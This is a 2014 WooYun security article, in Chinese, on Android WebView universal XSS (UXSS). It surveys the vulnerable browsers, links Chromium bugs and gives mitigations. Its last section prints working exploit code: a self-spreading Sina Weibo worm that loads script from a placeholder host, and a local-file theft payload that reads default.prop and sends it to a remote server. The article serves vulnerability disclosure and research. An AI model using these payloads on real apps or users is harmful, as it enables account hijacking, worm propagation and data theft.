Android UXSS階段性小結及自動化測試

wyzsk發表於2020-08-19
作者: 瘦蛟舞 · 2014/10/14 18:52

0x00 科普


WebView(網路檢視)android中載入顯示網頁的重要元件,可以將其視為一個瀏覽器。在kitkat(android 4.4)以前使用WebKit渲染引擎載入顯示網頁,在kitkat之後使用谷歌自家核心chromium。

Uxss(Universal Cross-Site Scripting通用型XSS)UXSS是一種利用瀏覽器或者瀏覽器擴充套件漏洞來製造產生XSS的條件並執行程式碼的一種攻擊型別。可以到達瀏覽器全域性遠端執行命令、繞過同源策略、竊取使用者資料以及劫持使用者的嚴重危害。

同源策略所謂同源是指,域名,協議,埠相同,瀏覽器或者瀏覽器擴充套件共同遵循的安全策略。詳見:/tips/?id=151

0x01 事件


近段時間android UXSS漏洞持續性爆發涉及android應用包括主手機流瀏覽器、聊天軟體等。下面擷取幾個案例。

引用某廠商對此漏洞的回應

非常感謝您的報告,此問題屬於andriod webkit的漏洞,請儘量使用最新版的andriod系統。

的確漏洞產生的原因是因為kitkat(android 4.4)之前webview元件使用webview核心而遺留的漏洞。使用最新的android系統當然安全性要更高而且執行更流暢,但是有多少人能升級或者使用到相對安全的android版本了。下圖來自谷歌官方2014.09.09的統計資料。

看起來情況不是太糟糕,有24.5%的android使用者是處於相對安全的版本下。但是官方資料的是來google play明顯和大陸水土不服。國內就只能使用相對靠譜的本土第三方統計了。下圖是umeng八月的統計情況

能使用到相對安全的android系統的使用者不到8%,那麼問題來了~我要換一個什麼的樣的手機了。忘記我是個屌絲了,破手機無法升級到kitkat也沒錢換手機。那就只能選擇使用相對安全的應用來儘量避免我受到攻擊。於是我們收集了一些命中率較高的POC來驗證到底哪些app更靠譜一些。

  • https://code.google.com/p/chromium/issues/detail?id=37383
  • https://code.google.com/p/chromium/issues/detail?id=90222
  • https://code.google.com/p/chromium/issues/detail?id=98053
  • https://code.google.com/p/chromium/issues/detail?id=117550
  • https://code.google.com/p/chromium/issues/detail?id=143437
  • https://code.google.com/p/chromium/issues/detail?id=143439
  • CVE-2014-6041

為了方便大家也能夠方便測試其他應用我們嘗試寫出一個自動化的指令碼來完成此項工作。

0x02 測試


http://zone.wooyun.org/content/15792

下圖為360瀏覽器在android 4.2.2下的測試結果

下圖為搜狗瀏覽器在android 4.4.3下的測試結果

測試程式碼將放入github供大家參考,歡迎大神來修改

程式碼地址:https://github.com/click1/uxss

線上測試地址:http://uxss.sinaapp.com/index.php

0x03 對比

我們對主流手機瀏覽器進行了橫向對比,測試物件包括:UC瀏覽器、搜狗瀏覽器、百度瀏覽器、360安全瀏覽器、歐鵬瀏覽器、遨遊雲瀏覽器、獵豹瀏覽器。測試結果見下圖。

0x04 建議


廠商(僅供參考):

1、服務端禁止iframe巢狀X-FRAME-OPTIONS:DENY。詳見:/papers/?id=104

2、客戶端使用setAllowFileAccess(false)方法禁止webview訪問本地域。詳見:setAllowFileAccess(boolean)

3、客戶端使用onPageStarted (WebView view, String url, Bitmap favicon)方法在跳轉前進行跨域判斷。詳見[onPageStarted (WebView view, String url, Bitmap favicon)][8]

4、客戶端對iframe object標籤屬性進行過濾。

使用者:

1、使用漏洞較少的app,及時更新app。

2、不要隨意開啟一些莫名其妙的連結。

3、有錢你就買新手機吧,android L馬上出來了。(可以透過google play推送安全補丁,呵呵)

0x05 利用


(此部分考慮到影響並未第一時間放出,現在漏洞已經被忽略,在此更新)

1、 WooYun: 掃描新浪微博安卓客戶端UXSS附蠕蟲利用 蠕蟲程式碼如下:

test.html

<iframe name="m" src="http://m.weibo.cn/xxx" onload="window.open('\u0000javascript:window.s%3Ddocument.createElement%28%27script%27%29%3Bwindow.s.src%3D%27http://site/test.js%27%3Bdocument.body.appendChild%28window.s%29%3B','m')" >

test.js

url = 'http://m.weibo.cn/attentionDeal/addAttention?';

url2 = 'http://m.weibo.cn/mblogDeal/addAMblog?rl=1';

function createXHR(){

    return window.XMLHttpRequest?

    new XMLHttpRequest():

    new ActiveXObject("Microsoft.XMLHTTP");

}





function post(url,data,sync){

    xmlHttp = createXHR();

    xmlHttp.open("POST",url,sync);

    xmlHttp.setRequestHeader("Accept","text/html, application/xhtml+xml, */*");

    xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");

    xmlHttp.send(data);

}



function send(){

    data = 'uid=3605736194';

    data2 = 'content=http://site/worm.html';

    post(url,data,false);

    post(url2,data2,false);

}



function main(){

    try{

    send();

    alert("done");

    }

    catch(e){alert("error");}

}

main();

2、竊取本地檔案

test.html

<button onclick="iframe.src='http://notfound/'">x</button><br>
<button onclick="exploit1()">Get local file!</button><br>
<script>
function exploit1() {
    window.open('\u0000javascript:document.body.innerHTML="<script/src=http://site/test.js></scr"+"ipt><iframe src=file:/default.prop onload=exploit2()  style=width:100%;height:1000px; name=test2></iframe>";','test');
}
</script>
<iframe src="http://m.baidu.com/" id="iframe" style="width:100%;height:1000px;" name="test"></iframe>

test.js

var flag = 0;
function exploit2(){
  if(flag) {return}
 window.open('\u0000javascript:location.replace("http://site/cross/test.php?test="+escape(document.body.innerHTML))','test2');
  flag = 1;
}

服務端接收到android的default.prop檔案內容。也可以竊取相應app私有目錄/data/data/packagename/下檔案

0x06 參考


RAyH4c(茄子)《細數安卓WebView的那些神洞》

http://zone.wooyun.org/content/15792

8: http://developer.android.com/intl/zh-cn/reference/android/webkit/WebViewClient.html#onPageStarted(android.webkit.WebView, java.lang.String, android.graphics.Bitmap)

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章